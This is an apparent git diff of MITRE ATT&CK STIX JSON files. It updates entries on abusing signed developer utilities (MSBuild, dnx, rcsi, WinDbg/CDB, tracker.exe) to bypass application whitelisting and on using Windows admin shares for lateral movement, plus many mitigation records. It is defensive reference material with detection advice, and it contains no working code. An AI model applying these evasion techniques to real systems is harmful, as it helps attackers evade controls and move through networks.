+            "description": "There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions.\n\n===MSBuild===\n\nMSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations. (Citation: MSDN MSBuild) \n\nAdversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file. (Citation: MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\n===DNX===\n\nThe .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016. (Citation: Microsoft Migrating from DNX) DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft. \n\nAn adversary can use dnx.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for DNX. (Citation: engima0x3 DNX Bypass)\n\n===RCSI===\n\nThe rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution. (Citation: Microsoft Roslyn CPT RCSI) The rcsi.exe binary is signed by Microsoft. (Citation: engima0x3 RCSI Bypass)\n\nC# .csx script files can be written and executed with rcsi.exe at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting policies that do not account for execution of rcsi.exe. (Citation: engima0x3 RCSI Bypass)\n\n===WinDbg/CDB===\n\nWinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools. (Citation: Microsoft Debugging Tools for Windows) They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.\n\nAn adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for execution of those utilities. (Citation: Exploit Monday WinDbg)\n\nIt is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft.\n\n===Tracker===\n\nThe file tracker utility, tracker.exe, is included with the .NET framework as part of MSBuild. It is used for logging calls to the Windows file system. (Citation: Microsoft Docs File Tracking)\n\nAn adversary can use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions. (Citation: Twitter SubTee Tracker.exe)\n\nDetection: The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\n\nUse process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows\n\nData Sources: Process monitoring\n\nDefense Bypassed: Application whitelisting\n\nPermissions Required: User\n\nSystem Requirements: MSBuild: .NET Framework version 4 or higher\nDNX: .NET 4.5.2, Powershell 4.0\nRCSI: .NET 4.5 or later, Visual Studio 2012\n\nRemote Support: No\n\nContributors: Casey Smith, Matthew Demaske, Adaptforward",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -27,51 +27,62 @@
                     "url": "https://attack.mitre.org/wiki/Technique/T1127",
                     "external_id": "T1127"
                 },
+                {
+                    "source_name": "Exploit Monday WinDbg",
+                    "description": "Graeber, M. (2016, August 15). Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017.",
+                    "url": "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html"
+                },
                 {
                     "source_name": "MSDN MSBuild",
                     "description": "Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016.",
                     "url": "https://msdn.microsoft.com/library/dd393574.aspx"
                 },
-                {
-                    "source_name": "SubTee GitHub All The Things Application Whitelisting Bypass",
-                    "description": "[ Smith, C. (2016, August 17). Includes 5 Known Application Whitelisting/ Application Control Bypass Techniques in One File. Retrieved June 30, 2017."
-                },
-                {
-                    "source_name": "Microsoft Migrating from DNX",
-                    "description": "Knezevic, Z., Wenzel, M. Latham, L. (2016, June 20). Migrating from DNX to .NET Core CLI (project.json). Retrieved June 28, 2017.",
-                    "url": "https://docs.microsoft.com/en-us/dotnet/core/migration/from-dnx"
-                },
-                {
-                    "source_name": "engima0x3 DNX Bypass",
-                    "description": "Nelson, M. (2017, November 17). Bypassing Application Whitelisting By Using dnx.exe. Retrieved May 25, 2017.",
-                    "url": "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/"
-                },
-                {
-                    "source_name": "Microsoft Roslyn CPT RCSI",
-                    "description": "Osenkov, K. (2011, October 19). Introducing the Microsoft \u201cRoslyn\u201d CTP. Retrieved June 28, 2017.",
-                    "url": "https://blogs.msdn.microsoft.com/visualstudio/2011/10/19/introducing-the-microsoft-roslyn-ctp/"
-                },
-                {
-                    "source_name": "engima0x3 RCSI Bypass",
-                    "description": "Nelson, M. (2016, November 21). Bypassing Application Whitelisting By Using rcsi.exe. Retrieved May 26, 2017.",
-                    "url": "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/"
-                },
                 {
                     "source_name": "Microsoft Debugging Tools for Windows",
                     "description": "Marshall, D. (2017, May 23). Debugging Tools for Windows (WinDbg, KD, CDB, NTSD). Retrieved June 29, 2017.",
                     "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/index"
                 },
                 {
-                    "source_name": "Exploit Monday WinDbg",
-                    "description": "Graeber, M. (2016, August 15). Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017.",
-                    "url": "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html"
+                    "source_name": "Microsoft Docs File Tracking",
+                    "description": "B, M., Brown, K., Cai, S., Hogenson, G., Warren, G. (2016, November 4). File Tracking. Retrieved November 1, 2017.",
+                    "url": "https://docs.microsoft.com/visualstudio/msbuild/file-tracking"
+                },
+                {
+                    "source_name": "Microsoft Migrating from DNX",
+                    "description": "Knezevic, Z., Wenzel, M. Latham, L. (2016, June 20). Migrating from DNX to .NET Core CLI (project.json). Retrieved June 28, 2017.",
+                    "url": "https://docs.microsoft.com/en-us/dotnet/core/migration/from-dnx"
+                },
+                {
+                    "source_name": "Microsoft Roslyn CPT RCSI",
+                    "description": "Osenkov, K. (2011, October 19). Introducing the Microsoft \u201cRoslyn\u201d CTP. Retrieved June 28, 2017.",
+                    "url": "https://blogs.msdn.microsoft.com/visualstudio/2011/10/19/introducing-the-microsoft-roslyn-ctp/"
+                },
+                {
+                    "source_name": "SubTee GitHub All The Things Application Whitelisting Bypass",
+                    "description": "[ Smith, C. (2016, August 17). Includes 5 Known Application Whitelisting/ Application Control Bypass Techniques in One File. Retrieved June 30, 2017."
+                },
+                {
+                    "source_name": "Twitter SubTee Tracker.exe",
+                    "description": "Smith, C. (2016, October 31). SubTee Twitter Status. Retrieved November 1, 2017.",
+                    "url": "https://twitter.com/subTee/status/793151392185589760"
+                },
+                {
+                    "source_name": "engima0x3 DNX Bypass",
+                    "description": "Nelson, M. (2017, November 17). Bypassing Application Whitelisting By Using dnx.exe. Retrieved May 25, 2017.",
+                    "url": "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/"
+                },
+                {
+                    "source_name": "engima0x3 RCSI Bypass",
+                    "description": "Nelson, M. (2016, November 21). Bypassing Application Whitelisting By Using rcsi.exe. Retrieved May 26, 2017.",
+                    "url": "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/"
                 }
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_contributors": [
-                "Casey Smith"
+                "Casey Smith",
+                "Matthew Demaske, Adaptforward"
             ],
             "x_mitre_data_sources": [
                 "Process monitoring"
@@ -83,15 +94,7 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_remote_support": false,
             "x_mitre_system_requirements": [
diff --git a/enterprise-attack/attack-pattern/attack-pattern--ffe742ed-9100-4686-9e00-c331da544787.json b/enterprise-attack/attack-pattern/attack-pattern--ffe742ed-9100-4686-9e00-c331da544787.json
index 2d5a7bbbaa..a4dfa541d5 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--ffe742ed-9100-4686-9e00-c331da544787.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--ffe742ed-9100-4686-9e00-c331da544787.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fb4a8a71-97d1-4997-a73c-965d7e60985d",
+    "id": "bundle--bb1d8520-6a0d-48f8-8412-0a86f24211aa",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:00.200Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Windows Admin Shares",
-            "description": "Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include <code>C$</code>, <code>ADMIN$</code>, and <code>IPC$</code>. \n\nAdversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels. (Citation: Microsoft Admin Shares)\n\nThe Net utility can be used to connect to Windows admin shares on remote systems using <code>net use</code> commands with valid credentials. (Citation: Technet Net Use)\n\nDetection: Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne) (Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as Net, on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process use of network, Authentication logs, Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator\n\nSystem Requirements: File and printer sharing over SMB enabled.\nHost/network firewalls not blocking SMB ports between source and destination.\nUse of domain account in administrator group on remote system or default system admin account.",
+            "description": "Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include <code>C$</code>, <code>ADMIN$</code>, and <code>IPC$</code>. \n\nAdversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels. (Citation: Microsoft Admin Shares)\n\nThe Net utility can be used to connect to Windows admin shares on remote systems using <code>net use</code> commands with valid credentials. (Citation: Technet Net Use)\n\nDetection: Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne) (Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as Net, on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.\n\nPlatforms: Windows\n\nData Sources: Process use of network, Authentication logs, Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator\n\nSystem Requirements: File and printer sharing over SMB enabled.\nHost/network firewalls not blocking SMB ports between source and destination.\nUse of domain account in administrator group on remote system or default system admin account.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -67,18 +67,7 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "File and printer sharing over SMB enabled.\nHost/network firewalls not blocking SMB ports between source and destination.\nUse of domain account in administrator group on remote system or default system admin account."
diff --git a/enterprise-attack/course-of-action/course-of-action--00d7d21b-69d6-4797-88a2-c86f3fc97651.json b/enterprise-attack/course-of-action/course-of-action--00d7d21b-69d6-4797-88a2-c86f3fc97651.json
new file mode 100644
index 0000000000..b91e822b14
--- /dev/null
+++ b/enterprise-attack/course-of-action/course-of-action--00d7d21b-69d6-4797-88a2-c86f3fc97651.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--3277c069-8bb6-4b1d-bc2c-2d5e2a88369f",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--00d7d21b-69d6-4797-88a2-c86f3fc97651",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Password Filter DLL Mitigation",
+            "description": "Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (<code>C:\\Windows\\System32\\</code> by default) of a domain controller and/or local computer with a corresponding entry in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages</code>.  (Citation: Microsoft Install Password Filter n.d)",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1174",
+                    "external_id": "T1174"
+                },
+                {
+                    "source_name": "Microsoft Install Password Filter n.d",
+                    "description": "Microsoft. (n.d.). Installing and Registering a Password Filter DLL. Retrieved November 21, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms721766.aspx"
+                }
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/course-of-action/course-of-action--02f0f92a-0a51-4c94-9bda-6437b9a93f22.json b/enterprise-attack/course-of-action/course-of-action--02f0f92a-0a51-4c94-9bda-6437b9a93f22.json
index 01b2854c7c..30a6566bdb 100644
--- a/enterprise-attack/course-of-action/course-of-action--02f0f92a-0a51-4c94-9bda-6437b9a93f22.json
+++ b/enterprise-attack/course-of-action/course-of-action--02f0f92a-0a51-4c94-9bda-6437b9a93f22.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--9cc5e0c2-3879-4110-8675-9bc812d82319",
+    "id": "bundle--9670805e-d815-4204-a1ef-3bf374b34c39",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--02f0f92a-0a51-4c94-9bda-6437b9a93f22",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Space after Filename Mitigation",
             "description": "Prevent files from having a trailing space after the extension.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--03c0c586-50ed-45a7-95f4-f496d7eb5330.json b/enterprise-attack/course-of-action/course-of-action--03c0c586-50ed-45a7-95f4-f496d7eb5330.json
index 1c9a68226d..bbb9a617de 100644
--- a/enterprise-attack/course-of-action/course-of-action--03c0c586-50ed-45a7-95f4-f496d7eb5330.json
+++ b/enterprise-attack/course-of-action/course-of-action--03c0c586-50ed-45a7-95f4-f496d7eb5330.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--4797caea-082f-42b6-8bff-35c6721b44ec",
+    "id": "bundle--c35161e0-32d3-408e-9e01-97a816fc7c4c",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--03c0c586-50ed-45a7-95f4-f496d7eb5330",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "HISTCONTROL Mitigation",
             "description": "Prevent users from changing the <code>HISTCONTROL</code> environment variable (Citation: Securing bash history). Also, make sure that the <code>HISTCONTROL</code> environment variable is set to \u201cignoredup\u201d instead of \u201cignoreboth\u201d or \u201cignorespace\u201d.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--0472af99-f25c-4abe-9fce-010fa3450e72.json b/enterprise-attack/course-of-action/course-of-action--0472af99-f25c-4abe-9fce-010fa3450e72.json
index 8fad327337..228fb3c1d9 100644
--- a/enterprise-attack/course-of-action/course-of-action--0472af99-f25c-4abe-9fce-010fa3450e72.json
+++ b/enterprise-attack/course-of-action/course-of-action--0472af99-f25c-4abe-9fce-010fa3450e72.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--db367b3f-5bf5-450a-b85a-9a5a33c093a6",
+    "id": "bundle--6895ba0f-580d-4379-bcf2-78c5c5e18468",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--0472af99-f25c-4abe-9fce-010fa3450e72",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Credentials in Files Mitigation",
             "description": "Establish an organizational policy that prohibits password storage in files. Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers. Preemptively search for files containing passwords and remove when found. Restrict file shares to specific directories with access only to necessary users. Remove vulnerable Group Policy Preferences. (Citation: Microsoft MS14-025)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--0640214c-95af-4c04-a574-2a1ba6dda00b.json b/enterprise-attack/course-of-action/course-of-action--0640214c-95af-4c04-a574-2a1ba6dda00b.json
index 0d14908990..36229b4fd7 100644
--- a/enterprise-attack/course-of-action/course-of-action--0640214c-95af-4c04-a574-2a1ba6dda00b.json
+++ b/enterprise-attack/course-of-action/course-of-action--0640214c-95af-4c04-a574-2a1ba6dda00b.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--2e6b748a-f424-4edd-8397-12c67984ae13",
+    "id": "bundle--283a8981-0311-4ab6-9442-9459ad7cab07",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--0640214c-95af-4c04-a574-2a1ba6dda00b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Query Registry Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information within the Registry, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--06824aa2-94a5-474c-97f6-57c2e983d885.json b/enterprise-attack/course-of-action/course-of-action--06824aa2-94a5-474c-97f6-57c2e983d885.json
index efa0baf3dc..eeff8a4e5d 100644
--- a/enterprise-attack/course-of-action/course-of-action--06824aa2-94a5-474c-97f6-57c2e983d885.json
+++ b/enterprise-attack/course-of-action/course-of-action--06824aa2-94a5-474c-97f6-57c2e983d885.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--8637dd39-259b-496a-afcf-d9ba8adf6359",
+    "id": "bundle--951eb070-e82a-4771-a9d0-80d939eed0a1",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--06824aa2-94a5-474c-97f6-57c2e983d885",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Login Item Mitigation",
             "description": "Restrict users from being able to create their own login items. Additionally, holding the shift key during login prevents apps from opening automatically (Citation: Re-Open windows on Mac).",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--073cc04d-ac46-4f5a-85d7-83a91ecd6a19.json b/enterprise-attack/course-of-action/course-of-action--073cc04d-ac46-4f5a-85d7-83a91ecd6a19.json
index 69f5b7f6f4..391093d1ac 100644
--- a/enterprise-attack/course-of-action/course-of-action--073cc04d-ac46-4f5a-85d7-83a91ecd6a19.json
+++ b/enterprise-attack/course-of-action/course-of-action--073cc04d-ac46-4f5a-85d7-83a91ecd6a19.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--65b1bb2a-8941-4183-b621-2d49928b86ec",
+    "id": "bundle--30d907f1-2282-4534-acc4-57d47f4afb7c",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--073cc04d-ac46-4f5a-85d7-83a91ecd6a19",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Setuid and Setgid Mitigation",
             "description": "Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--0bc3ce00-83bc-4a92-a042-79ffbc6af259.json b/enterprise-attack/course-of-action/course-of-action--0bc3ce00-83bc-4a92-a042-79ffbc6af259.json
index 0fceebed94..3154885e9f 100644
--- a/enterprise-attack/course-of-action/course-of-action--0bc3ce00-83bc-4a92-a042-79ffbc6af259.json
+++ b/enterprise-attack/course-of-action/course-of-action--0bc3ce00-83bc-4a92-a042-79ffbc6af259.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--bdf78d11-4db6-44da-9f56-c837c45d7cd7",
+    "id": "bundle--6d2a11db-c75f-4787-8fc7-f49e934f700e",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--0bc3ce00-83bc-4a92-a042-79ffbc6af259",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Windows Management Instrumentation Event Subscription Mitigation",
             "description": "Disabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--0e5bdf42-a7f7-4d16-a074-4915bd262f80.json b/enterprise-attack/course-of-action/course-of-action--0e5bdf42-a7f7-4d16-a074-4915bd262f80.json
index 6db8b51155..e1c747b6b8 100644
--- a/enterprise-attack/course-of-action/course-of-action--0e5bdf42-a7f7-4d16-a074-4915bd262f80.json
+++ b/enterprise-attack/course-of-action/course-of-action--0e5bdf42-a7f7-4d16-a074-4915bd262f80.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--56424ed7-9a9b-40be-a784-36977e577003",
+    "id": "bundle--9d7f9d70-8e1d-4f18-89f7-a9bbfe7742ad",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--0e5bdf42-a7f7-4d16-a074-4915bd262f80",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exfiltration Over Alternative Protocol Mitigation",
             "description": "Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network. For example, if services like FTP are not required for sending information outside of a network, then block FTP-related ports at the network perimeter. Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network. (Citation: TechNet Firewall Design) These actions will help reduce command and control and exfiltration path opportunities.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--1022138b-497c-40e6-b53a-13351cbd4090.json b/enterprise-attack/course-of-action/course-of-action--1022138b-497c-40e6-b53a-13351cbd4090.json
index 8b139f1786..12dc0bc6de 100644
--- a/enterprise-attack/course-of-action/course-of-action--1022138b-497c-40e6-b53a-13351cbd4090.json
+++ b/enterprise-attack/course-of-action/course-of-action--1022138b-497c-40e6-b53a-13351cbd4090.json
@@ -1,16 +1,16 @@
 {
     "type": "bundle",
-    "id": "bundle--d2cb44be-bebd-45f1-9afa-c9032b3322b1",
+    "id": "bundle--2bda719b-237f-4a53-86ea-ed68f5628507",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--1022138b-497c-40e6-b53a-13351cbd4090",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "File System Permissions Weakness Mitigation",
-            "description": "Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)\n\nTurn off UAC's privilege elevation for standard users and installer detection for all users by modifying registry key\n<code>[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]</code>to automatically deny elevation requests, add: <code>\"ConsentPromptBehaviorUser\"=dword:00000000</code>; to disable installer detection, add: <code>\"EnableInstallerDetection\"=dword:00000000</code>. (Citation: Seclists Kanthak 7zip Installer)",
+            "description": "Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)\n\nTurn off UAC's privilege elevation for standard users <code>[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]</code>to automatically deny elevation requests, add: 